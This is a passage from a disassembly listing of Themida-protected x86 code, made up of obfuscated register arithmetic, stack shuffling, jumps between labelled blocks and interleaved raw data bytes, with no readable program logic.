		movzx	eax, al
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55F914
; ---------------------------------------------------------------------------
		db 0F7h, 0D1h, 81h
		dd 0DCD0D5C1h, 94E5E962h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5657F6:				; CODE XREF: Themida_:0056C610j
		or	ebp, 7A0B2F1Bh
		shr	ebp, 2
		jmp	loc_56C23E
; ---------------------------------------------------------------------------

loc_565804:				; CODE XREF: Themida_:0056D928j
		pop	ecx
		jmp	loc_55D4F8
; ---------------------------------------------------------------------------
		dw 8957h
		dd 4C781E7h, 81000000h,	4C7h, 7E04E900h, 0C890000h, 0E9E18924h
		dd 0FFFFD383h
; ---------------------------------------------------------------------------

loc_565828:				; CODE XREF: Themida_:0056865Bj
		pop	ecx
		add	esp, 4
		push	ecx
		mov	cl, 0DAh
		or	cl, 0E6h
		add	cl, 0FFh
		shr	cl, 1
		shl	cl, 3
		jmp	loc_561045
; ---------------------------------------------------------------------------
		db 68h
		dd 5CF1h, 0B3241C89h, 0E9525088h, 0FFFFD490h
; ---------------------------------------------------------------------------

loc_565850:				; CODE XREF: Themida_:005612B4j
		mov	edx, ebx
		mov	ebx, [esp]
		jmp	loc_56A3EE
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 1BC4F4Dh, 0C381C301h, 1BC4F4Dh, 48266857h, 295F4E3Fh
		dd 243C8BFBh, 0E904C483h, 723Eh, 0B8240489h, 2,	7C9AC581h
		dd 0F9E925E5h, 0FF000002h, 34FF2434h, 240C8B24h, 269868h
		dd 24048900h, 7005E9h
		db 0
; ---------------------------------------------------------------------------

loc_5658A5:				; CODE XREF: Themida_:0055BECBj
		mov	edi, 48445970h
		jmp	loc_56DAB3
; ---------------------------------------------------------------------------
		db 0BFh
		dd 61E650C2h, 15FF989h,	0E82959CDh, 0A3AAE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5658C2:				; CODE XREF: Themida_:0056702Dj
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_5591C3
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0C681E689h, 4, 0ED36E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5658DE:				; CODE XREF: Themida_:005685C2j
		sub	esi, 7ED66514h
		mov	eax, esi
		jmp	loc_5629F0
; ---------------------------------------------------------------------------

loc_5658EB:				; CODE XREF: Themida_:0055CD6Bj
		pop	eax
		push	0F6Ah
		mov	[esp], edi
		jmp	loc_560FB0
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 0E9241433h, 0FFFFB79Ah
; ---------------------------------------------------------------------------

loc_565904:				; CODE XREF: Themida_:0056D878j
		add	esi, edi
		pop	edi
		sub	esi, 45F0797Ah
		add	esi, 7B9C2261h
		add	esi, edx
		sub	esi, 7B9C2261h
		push	edx
		mov	edx, 45F0797Ah
		add	esi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5692B9
; ---------------------------------------------------------------------------
		dd 487DC581h, 0F5015B9Ch, 487DED81h, 295E5B9Ch,	0D685E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565942:				; CODE XREF: Themida_:00563170j
		sub	edx, 4C101183h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_567DE1
; ---------------------------------------------------------------------------

loc_565957:				; CODE XREF: Themida_:0056BED9j
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	eax
		jmp	loc_565F47
; ---------------------------------------------------------------------------
		dd 4828EB81h, 0C3812453h, 563C0571h, 81240C8Bh,	4C4h, 33186800h
		dd 4890000h, 2434FF24h,	531B685Ah, 4890000h, 3B0DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565996:				; CODE XREF: Themida_:0056A5F7j
		add	esi, eax
		push	eax
		jmp	loc_55B6B2
; ---------------------------------------------------------------------------
		dw 487h
		dd 0C895C24h, 0F2CDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5659AA:				; CODE XREF: Themida_:0056A007j
		add	ebx, ebp
		pop	ebp
		jmp	loc_56C31A
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9243489h, 0FFFF9DE7h, 0E92434FFh, 0FFFF79F7h, 0B1FC5FBFh
		dd 79CFE950h, 1C89FFFFh, 815B5424h, 4C3h, 23E95000h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55F122
; ---------------------------------------------------------------------------
		db 50h
		dd 6864A7B8h, 197DE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_565A06:				; CODE XREF: Themida_:00562667j
		mov	edi, 5F1E7B15h
		neg	edi
		jmp	loc_56B540
; ---------------------------------------------------------------------------
		dw 0CB89h
		dd 575BDF89h, 243C8B58h, 0F468h, 24048900h, 0BA525854h
		dd 72356A32h, 1EA81h, 0C0E90000h, 0BB00002Bh, 1DE82354h
		dd 24048153h, 541A530Ah, 0AE98159h, 5B541A53h, 0FFAE9h
		dd 4C38100h, 81000000h,	4C3h, 241C8700h, 0E9EA015Ch, 0FFFF74D2h
		dd 50FFC181h, 9585155h,	0E9591C4Fh, 0FFFF2E14h,	8733E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565A7E:				; CODE XREF: Themida_:00567528j
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	esp, 4
		shr	ecx, 7
		push	6623h
		mov	[esp], ebp
		push	ebx
		jmp	loc_5612FC
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0F68002E6h, 7D12E910h, 815FFFFFh, 0BF7124C7h, 2354E93Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_565AB2:				; CODE XREF: Themida_:0055AEDCj
		mov	eax, 502D3F78h
		inc	eax
		jmp	loc_55A443
; ---------------------------------------------------------------------------
		db 68h,	0A6h, 60h
		dd 0D0E90000h, 81FFFFABh, 646484EEh, 5EF131DAh,	243C8B51h
		dd 0FFE4C0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565AD9:				; CODE XREF: Themida_:0056C445j
		mov	[esp], edi
		push	eax
		mov	eax, 68E27D4Ch
		neg	eax
		neg	eax
		push	481Dh
		mov	[esp], ebp
		push	eax
		push	6B3959EFh
		pop	eax
		shl	eax, 3
		jmp	loc_564C11
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 0C1h
		dd 2BE907E5h, 68FFFF5Ah, 38A65564h, 8324348Bh, 0E95604C4h
		dd 3545h
; ---------------------------------------------------------------------------

loc_565B18:				; CODE XREF: Themida_:0055D90Aj
		mov	ebx, 41E31044h
		sub	eax, ebx
		pop	ebx
		jmp	loc_55DBA1
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Dh, 68000000h,	0F53h, 0FF9D0BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565B39:				; CODE XREF: Themida_:00567F61j
		add	eax, 42893B48h
		neg	eax
		not	eax
		jmp	loc_567F1A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2D3AE900h, 0E581FFFFh,	1B98774Fh, 4D07EDC1h, 58F5E956h
		dd 0E6BD0000h, 81695C48h, 0EACF39C5h, 5DE901E4h, 6857505Bh
		dd 4F9D7148h, 2192E9h
		db 0
; ---------------------------------------------------------------------------

loc_565B7D:				; CODE XREF: Themida_:005676EBj
		add	ebp, ebx
		mov	ebx, [esp]
		push	ebx
		jmp	loc_56DA56
; ---------------------------------------------------------------------------
		dd 0B850C501h, 29322C82h, 347C942Dh, 5935353Bh,	0B9E904CAh
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_565B9F:				; CODE XREF: Themida_:0055BF28j
		shr	ecx, 2
		xor	ecx, 6EA0486Ah
		xor	edx, ecx
		jmp	loc_569A40
; ---------------------------------------------------------------------------
		db 81h
		dd 52C48C6h, 0C6815F3Dh, 4, 0FF706DE9h,	4C681FFh, 55000000h
		dd 0B16BA52h, 75BD2449h, 0E928965Eh, 4282h
; ---------------------------------------------------------------------------

loc_565BD8:				; CODE XREF: Themida_:0056726Bj
		pop	ebx
		mov	bl, ah
		pop	eax
		dec	bl
		jmp	loc_55EFAF
; ---------------------------------------------------------------------------

loc_565BE3:				; CODE XREF: Themida_:0056CEEAj
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_56738F
; ---------------------------------------------------------------------------

loc_565BEE:				; CODE XREF: Themida_:0055DDFDj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	209C7159h
		pop	ebx
		jmp	loc_563475
; ---------------------------------------------------------------------------
		dw 8B59h
		dd 0C4812404h, 4, 4EC81h, 0D7E90000h, 81000031h, 4ECh
		dd 24348900h, 6850E689h, 794A61BAh, 2B8DE958h, 0D8000000h
		dd 0E95A5B66h, 0FFFF3B02h, 1910E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_565C4A:				; CODE XREF: Themida_:00563E5Dj
		mov	[esp], ecx
		push	2C97h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56BB2F
; ---------------------------------------------------------------------------
		dw 77FFh
aSZ_0		db '<é',7,'Z',0
		align 2
		dw 0BD55h
		dd 35AD119Dh, 815DEF21h, 576220C7h, 1E7AE94Bh, 0C6810000h
		dd 67AA4A8Fh, 429FEE81h, 0EED1494Ah, 49E9DE87h,	0BD000004h
		dd 7CA13B41h, 24048155h, 1DFB536Dh, 0CAE9555Eh
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565CA3:				; CODE XREF: Themida_:0056B3F5j
		xchg	ecx, edi
		push	eax
		mov	eax, 8E239C65h
		sub	edi, eax
		pop	eax
		and	ecx, edi
		pop	edi
		not	ecx
		add	ecx, 0FFFFFFFFh
		push	eax
		mov	eax, 375440A4h
		jmp	loc_55CFB1
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 148904ECh, 0E95A5424h, 0FFFFE484h, 240C8B66h
		dd 7FD768h, 241C8900h, 0FFBC7BE9h, 63AF68FFh, 0E9540000h
		dd 0FFFF60A6h
; ---------------------------------------------------------------------------

loc_565CF0:				; CODE XREF: Themida_:0055B50Bj
		mov	edx, 10C455DDh
		sub	edi, edx
		pop	edx
		push	esi
		mov	esi, 293F6C98h
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, 4F093F78h
		add	edi, ecx
		push	6A5Eh
		mov	[esp], ecx
		jmp	loc_5622F4
; ---------------------------------------------------------------------------

loc_565D1B:				; CODE XREF: Themida_:0056050Bj
		pop	ebx
		add	esp, 4
		pop	eax
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	eax, eax
		jz	loc_5632D1
		push	edx
		jmp	loc_561313
; ---------------------------------------------------------------------------
		db 20h
		dd 0AB42E9EEh, 6845FFFFh, 12B4h, 0E9243C89h, 0FFFFD4C5h
; ---------------------------------------------------------------------------

loc_565D4C:				; CODE XREF: Themida_:0055CCBFj
		pop	ebp
		jmp	loc_567987
; ---------------------------------------------------------------------------
		dw 0F668h
		dd 8900007Bh, 57E92424h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_565D5F:				; CODE XREF: Themida_:0056A3F4j
		and	edx, 48DA4E09h
		neg	edx
		and	edx, 720E5E4Eh
		jmp	loc_563950
; ---------------------------------------------------------------------------

loc_565D72:				; CODE XREF: Themida_:005685D8j
		add	ecx, 22248D17h
		mov	ebp, ecx
		pop	ecx
		add	ebp, 2DB3B1Ah
		add	eax, ebp
		pop	ebp
		pop	ebx
		jmp	loc_5662AA
; ---------------------------------------------------------------------------

loc_565D8A:				; CODE XREF: Themida_:005601C0j
		pop	edx
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5619AC
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 2B8E6824h, 34FF65BCh, 2434FF24h, 83241C8Bh, 0C48304C4h
		dd 0E3895304h, 20685057h, 5865FA79h, 0FFC0F1E9h, 68C80FFFh
		dd 4D91h, 0FF6DC7E9h, 27685AFFh, 89000027h, 92E92404h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565DDB:				; CODE XREF: Themida_:00566F0Ej
		sub	ebx, 7474419Bh
		sub	ebx, 1C307389h
		sub	ebx, ebp
		push	ebp
		mov	ebp, 1C307389h
		jmp	loc_569115
; ---------------------------------------------------------------------------
		dd 4C181h, 0C1830000h, 240C8704h, 4C4815Ch, 53000000h
		dd 0C381E389h, 4, 8704C383h, 248B241Ch,	0E9F58824h, 1A66h
; ---------------------------------------------------------------------------

loc_565E20:				; CODE XREF: Themida_:0055EFA3j
		push	5DB8h
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_55B165
; ---------------------------------------------------------------------------
		dd 0A36538BEh, 5EF50957h, 375FC581h, 0BE9780Bh,	89FFFFFDh
		dd 0EABD242Ch, 81659D0Ch, 724B26F5h, 0FFE8013Ch, 6CE92434h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565E5F:				; CODE XREF: Themida_:0056DA51j
		xor	edi, [esp]
		mov	esp, [esp]

loc_565E65:				; CODE XREF: Themida_:0055F71Aj
		push	293h
		mov	[esp], ebp
		push	6FC2h
		jmp	loc_559FA7
; ---------------------------------------------------------------------------

loc_565E77:				; CODE XREF: Themida_:0056C630j
		push	edx
		mov	edx, 0
		sub	edx, eax
		xchg	eax, edx
		jmp	loc_56D19A
; ---------------------------------------------------------------------------

loc_565E85:				; CODE XREF: Themida_:0055E0C5j
		sub	esi, 105EA561h
		or	ebx, esi
		pop	esi
		sub	ebx, 0FC1DD2A8h
		add	esi, ebx
		jmp	loc_56904D
; ---------------------------------------------------------------------------

loc_565E9B:				; CODE XREF: Themida_:0055CCA8j
		push	ecx
		push	62CD52E3h
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 2C4E5758h
		jmp	loc_558CB6
; ---------------------------------------------------------------------------

loc_565EB2:				; CODE XREF: Themida_:0055E113j
		xor	eax, ecx
		push	4F90h
		mov	[esp], ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_56DD56
; ---------------------------------------------------------------------------
		dw 5259h
		dd 2BAh, 7515E900h, 575AFFFFh, 4BFh, 5FFA0100h,	8EBE9h
		dd 240C3300h, 33240C31h, 895C240Ch, 2BD242Ch, 1000000h
		dd 0B037E9EAh, 1489FFFFh, 2474FF24h, 216DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_565F0A:				; CODE XREF: Themida_:00558B4Fj
		pop	ebp
		add	edi, 9B34ED8Eh
		add	ecx, edi
		mov	edi, [esp]
		jmp	loc_55E3A2
; ---------------------------------------------------------------------------
aPsss		db 'PésS',0
		db 0
; ---------------------------------------------------------------------------

loc_565F21:				; CODE XREF: Themida_:0056D5EDj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 2E9D2F80h
		dec	eax
		add	eax, 0FFFFFFFFh
		jmp	loc_55BD0E
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 12E95824h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------

loc_565F47:				; CODE XREF: Themida_:00565963j
		mov	eax, 53552F19h
		dec	eax
		dec	eax
		jmp	loc_56247B
; ---------------------------------------------------------------------------

loc_565F53:				; CODE XREF: Themida_:00560D2Ej
		dec	edi
		not	edi
		jmp	loc_56D05D
; ---------------------------------------------------------------------------

loc_565F5B:				; CODE XREF: Themida_:005656FAj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		pop	edi
		jmp	loc_558CF7
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F78108EFh, 5EFDF6CBh, 3C8BF831h, 9848E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565F86:				; CODE XREF: Themida_:005625E7j
		mov	edx, 0DAF4DA40h
		jmp	loc_567603
; ---------------------------------------------------------------------------

loc_565F90:				; CODE XREF: Themida_:0055E5A1j
		push	40A3h
		mov	[esp], esi
		jmp	loc_55E85D
; ---------------------------------------------------------------------------
		db 81h,	0C9h, 81h
		dd 81214644h, 25F6CAC1h, 59CB0108h, 83243C8Bh, 1C3304C4h
		dd 241C3124h, 0E9241C33h, 5981h
; ---------------------------------------------------------------------------

loc_565FC0:				; CODE XREF: Themida_:0055C159j
		push	723Fh
		mov	[esp], ebx
		jmp	loc_55CC92
; ---------------------------------------------------------------------------

loc_565FCD:				; CODE XREF: Themida_:0056A52Fj
		sub	ebp, 730D34BAh
		sub	ebp, 0BBB7CFCBh
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	bl, 0C9h
		sub	bl, al
		sub	bl, 0C9h
		jmp	loc_56AF1D
; ---------------------------------------------------------------------------
		dd 4E0EEF81h, 875B3785h, 575C243Ch, 0C781E789h,	4, 0E904C783h
		dd 0FFFFEB62h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		jmp	loc_55FD5A
; ---------------------------------------------------------------------------
		dd 45C1E94Eh, 0D1BBFFFFh, 81199540h, 1EBh, 81D3F700h, 0FDA73FC3h
		dd 8BDD0970h, 0C483241Ch, 0DAE58104h, 8157A528h, 0A76292C5h
		dd 81D5F751h, 0B37C9FEDh, 22C78156h, 14FAD30h, 4EC83EFh
		dd 0B8240489h, 4FAD3022h, 0FF58C729h, 525D2434h, 6DB668h
		dd 24248900h, 4240483h,	4C2815Ah, 83000000h, 148704C2h
		dd 0BB535C24h, 2, 59E2E9h, 4895C00h, 61276824h,	48B0C63h
		dd 5EB8E924h, 34FF0000h, 2434FF24h, 592434FFh, 8304C483h
		dd 0C4E904C4h, 0F600007Ah, 76C680DEh, 0E930EE80h, 0FFFFD1C3h
; ---------------------------------------------------------------------------

loc_5660C8:				; CODE XREF: Themida_:0056DDA4j
		pop	esi
		jmp	loc_56D974
; ---------------------------------------------------------------------------
		dw 0F580h
		dd 0E9D5F638h, 6267h, 0E956D3F7h, 0FFFF5971h, 24048B66h
		dd 2A3968h, 240C8900h, 2434FF54h, 0ADAE9h
		db 0
; ---------------------------------------------------------------------------

loc_5660F5:				; CODE XREF: Themida_:0055B6BDj
		mov	edx, 7FBE6A04h
		sub	edx, 603579F8h
		dec	edx
		jmp	loc_5697F0
; ---------------------------------------------------------------------------

loc_566106:				; CODE XREF: Themida_:00564CE6j
		pop	esp
		push	ebx
		push	ebp
		jmp	loc_56A311
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 541DE9h, 4C48300h, 31240C33h, 0C33240Ch
		dd 24248B24h, 9C240CFEh, 0FF9AAAE9h, 3B88B8FFh,	0E94038CEh
		dd 0FFFFAC87h, 148BD588h, 4C48324h, 28F20458h, 66F22CE8h
		dd 274EE959h, 35E90000h, 1FFFF27h, 53555EF0h, 2E182BBBh
		dd 2ABE565Dh, 81061714h, 1C78D6E6h, 58F6815Ch, 2119E144h
		dd 95E95EF3h, 81FFFFA3h, 1608246Ch, 0E96EA844h,	457Dh
; ---------------------------------------------------------------------------

loc_566188:				; CODE XREF: Themida_:0055F159j
		mov	esi, [esp]
		jmp	loc_55A398
; ---------------------------------------------------------------------------
		dd 240C8B54h, 4C481h, 0EC830000h, 51E7E904h, 0CA010000h
		dd 3FA8C281h, 0C281048Bh, 17927E66h, 74FF5259h,	0E95A0424h
		dd 15B3h, 0F8E9EF01h, 0D1000077h, 0AACF81E7h, 8123BE09h
		dd 0E85C23C7h, 0E9F9896Eh, 1168h
; ---------------------------------------------------------------------------

loc_5661D8:				; CODE XREF: Themida_:0055E88Bj
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 58A425E0h
		add	esi, 0D46C3AB3h
		xor	edx, esi
		jmp	loc_56B2DB
; ---------------------------------------------------------------------------
		db 89h,	0FEh, 5Fh
		dd 3EEC14Eh, 10FAF681h,	67E90CD5h, 8100003Ah, 4ECh, 24048900h
		dd 124C6852h, 0D0E94E60h, 66FFFFE4h, 0E924048Bh, 0FFFFBDF4h
; ---------------------------------------------------------------------------

loc_566228:				; CODE XREF: Themida_:0056806Bj
		add	ebp, 7B3C05E5h
		sub	ebp, 28906F86h
		jmp	loc_56B829
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 87h
		dd 4D5D2434h, 6F60F581h, 0C5816884h, 2C306B25h,	505DEA01h
		dd 1245E9h, 21E76800h, 3C890000h, 0F18EE924h, 0ED83FFFFh
		dd 0F7CD87FFh, 5D5155D1h, 0EEBF5759h, 4F39EE2Ch, 7175EF81h
		dd 0FD018793h, 0FF393AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566281:				; CODE XREF: Themida_:0055B9E6j
		mov	ebp, 1015A55Dh
		xor	esi, ebp
		pop	ebp
		mov	ecx, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_564FBB
; ---------------------------------------------------------------------------
		dw 8158h
		dd 4ECh, 240C8900h, 4C7049B9h, 79BAE910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5662AA:				; CODE XREF: Themida_:00565D85j
		sub	esp, 4
		jmp	loc_56A0E4
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFF544Bh, 0B2241489h, 3DCA80D0h, 54B8E9h, 7634BD00h
		dd 0EDC102A0h, 0ADED8105h, 1001503h, 6FE95DEBh,	8B00003Ch
		dd 0C483241Ch, 78B6804h, 1C890000h, 0BA685224h,	0E926FF1Bh
		dd 0FFFFA7ECh, 14081305h, 0E9D00113h, 0FFFFC2F8h, 0D59B951h
		dd 732D11ACh, 0E97D0F01h, 3460h
; ---------------------------------------------------------------------------

loc_566310:				; CODE XREF: Themida_:0056DCFEj
		add	bh, 0E5h
		jmp	loc_56AF4B
; ---------------------------------------------------------------------------
aRhi		db ']Rhi\',0
		dw 0E900h
		dd 0FFFF25DCh, 4240481h, 0E9000000h, 4727h, 4EC835Eh, 0E9243489h
		dd 0FFFFBA53h
; ---------------------------------------------------------------------------

loc_56633C:				; CODE XREF: Themida_:00569986j
		or	ebp, 301E7E01h
		jmp	loc_5600BE
; ---------------------------------------------------------------------------

loc_566347:				; CODE XREF: Themida_:0055D38Fj
		add	esp, 4
		push	4770h
		mov	[esp], ecx
		push	ebx
		mov	ebx, 73956726h
		xor	ebx, 418F3E40h
		shl	ebx, 6
		shr	ebx, 4
		and	ebx, 2B136DE6h
		jmp	loc_56C595
; ---------------------------------------------------------------------------

loc_56636F:				; CODE XREF: Themida_:00568FCBj
		add	ebp, 3EAB6229h
		sub	ebp, 521C4AB4h
		pop	eax
		sub	ebp, 4
		xor	ebp, [esp]
		jmp	loc_56D683
; ---------------------------------------------------------------------------
		db 52h
		dd 854E0EBAh, 3757E937h, 0DAF70000h, 0E69FEA81h, 0D0017995h
		dd 317DE9h, 0E9525C00h,	67C6h, 0E932FF66h, 0FFFF24DCh
		dd 0FF241C89h, 0E9042474h, 0FFFF30B6h, 36B9515Dh, 815BFA75h
		dd 0FC28E3E1h, 6DF18104h, 1416929h, 0D4E959CFh,	8B000060h
		dd 0E952240Ch, 0FFFFE9EDh
; ---------------------------------------------------------------------------

loc_5663E0:				; CODE XREF: Themida_:0056B313j
		xor	ebp, 254F50D7h
		xor	ebp, 0D8533617h
		xor	edx, ebp
		jmp	loc_559232
; ---------------------------------------------------------------------------

loc_5663F3:				; CODE XREF: Themida_:0055ABD0j
		push	edi
		jmp	loc_5670CC
; ---------------------------------------------------------------------------
aS6		db '^é¶6',0
		db 0
; ---------------------------------------------------------------------------

loc_5663FF:				; CODE XREF: Themida_:00559D46j
		mov	[esp], ebp
		mov	ebp, 44C75F0Ch
		jmp	loc_56BA7F
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 4C381h, 1C870000h, 0E9815C24h, 1C4A691Ah
		dd 8107E1C1h, 66C970C1h, 5870E913h, 15DFFFFh, 685858C3h
		dd 6659h, 50243C89h, 0B2283D68h, 39DCE900h, 489FFFFh, 79C5B824h
		dd 882D49E1h, 13CA9D6h,	69F3E9C6h, 0E981FFFFh, 0FFFFFFFFh
		dd 0FF9D23E9h, 4C483FFh, 0E904EC83h, 145Bh
; ---------------------------------------------------------------------------

loc_566474:				; CODE XREF: Themida_:0055BF97j
		add	eax, edx
		sub	eax, 38CD0321h
		sub	eax, 5870375Fh
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_5679DE
; ---------------------------------------------------------------------------
		dd 3304C683h, 34312434h, 24343324h, 0FF24248Bh,	0C8B2434h
		dd 2BB06824h, 0F5E90000h, 81000040h, 12475BCFh,	1EC7810Fh
		dd 134A60Fh, 0FA015FFAh, 460E9h
		db 0
; ---------------------------------------------------------------------------

loc_5664CD:				; CODE XREF: Themida_:0055E1CAj
		pop	ebx
		mov	ebp, 4D904199h
		xor	ebp, edx
		pop	edx
		push	369h
		mov	[esp], ebx
		mov	ebx, ebp
		jmp	loc_56986F
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 2
		dd 931E281h, 0EEE96643h, 0BBFFFF3Bh, 16C10D54h,	59F4B951h
		dd 0CB317222h, 0E9DA3159h, 0FFFF305Eh, 2F13E95Dh, 8B66FFFFh
		dd 0C8E9240Ch, 83FFFF23h, 0DAF704C4h, 241CF752h, 0B4BB535Ah
		dd 29FE8A32h, 241C8BDAh, 4C481h, 0DE2D0000h, 149743Fh
		dd 3FDE05D0h, 148B4974h, 58545024h, 405h, 4B95100h, 1000000h
		dd 0FF5059C8h, 58042474h, 5C24048Fh, 8704E883h,	248B2404h
		dd 242C8924h, 0E957E589h, 0FFFFD23Ah
; ---------------------------------------------------------------------------

loc_566570:				; CODE XREF: Themida_:00567BEAj
		push	6A36h
		jmp	loc_55ED88
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 83E54ADh, 505FF889h,	4EC81h,	2C890000h, 3BB6824h, 0E95D70BAh
		dd 2CAEh
; ---------------------------------------------------------------------------

loc_566598:				; CODE XREF: Themida_:00568021j
		pop	eax
		sub	cl, 0CFh
		jmp	loc_568656
; ---------------------------------------------------------------------------
		db 59h,	80h, 0EBh
		dd 86C38050h, 0E4E9C328h, 83FFFF41h, 9CE904E9h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5665B7:				; CODE XREF: Themida_:00564711j
		sub	[esp], edi
		jmp	loc_563205
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 0FFDC60E9h, 99EE81FFh, 297A1C7Dh, 148B5EF3h
		dd 4C48324h, 8B241C87h,	9662424h, 0E99C2404h, 0FFFF22A0h
		dd 2C5A1C2Ch, 0CA2C66h,	4CA04D8h, 1EB55166h, 8359E828h
		dd 0C8904ECh, 3C8AE924h, 835B0000h, 2C8904ECh, 34FF5424h
		dd 0C4835D24h, 0EC815304h, 4, 0BF243C89h, 4, 4423E9h
		db 0
; ---------------------------------------------------------------------------

loc_56662D:				; CODE XREF: Themida_:005699A5j
		add	edx, ebp
		pop	ebp
		sub	edx, 4817D480h
		jmp	loc_56140E
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF2F53E9h, 0CBE95AFFh, 56FFFFCEh, 3C4EE9h, 0FFFFB800h
		dd 0C201FFFFh, 8FE95158h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_56665B:				; CODE XREF: Themida_:0056AFF7j
		sub	eax, 162C8820h
		jmp	loc_55A264
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0AFh
		dd 81585EB0h, 48301CC7h, 81C7010Ah, 48301CEFh, 24048B0Ah
		dd 4C481h, 0F8290000h, 83243C8Bh, 505204C4h, 0FFC95DE9h
		dd 0FEC7FEFFh, 0DBF780CFh, 62ABE9h, 81D30100h, 686113C3h
		dd 1C335A4Ah, 241C3124h, 8B241C33h, 6BE92424h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5666B7:				; CODE XREF: Themida_:0055CCDFj
		push	edi
		jmp	loc_56C175
; ---------------------------------------------------------------------------

loc_5666BD:				; CODE XREF: Themida_:00561F76j
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55C069
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E90CB551h, 3045h, 0C0BE6656h, 0D6F7662Dh, 2EEC166h
		dd 9C68166h, 0C6816618h, 0D8E9CD47h, 0FFFFFF33h, 669D1C77h
		dd 241CD259h, 2186E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566706:				; CODE XREF: Themida_:00562B2Ej
		add	ecx, 4
		jmp	loc_55C050
; ---------------------------------------------------------------------------
		db 0D3h, 2 dup(24h)
		dd 2172E99Ch, 505EFFFFh, 1A22C0B8h, 58C10172h, 0FFF7F2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566729:				; CODE XREF: Themida_:005678FDj
		push	ebx
		jmp	loc_5590AA
; ---------------------------------------------------------------------------

loc_56672F:				; CODE XREF: Themida_:00559832j
		push	edx
		push	edi
		mov	edi, 39A01054h
		add	[esp+4], edi
		jmp	loc_56B3FA
; ---------------------------------------------------------------------------
		db 5Eh
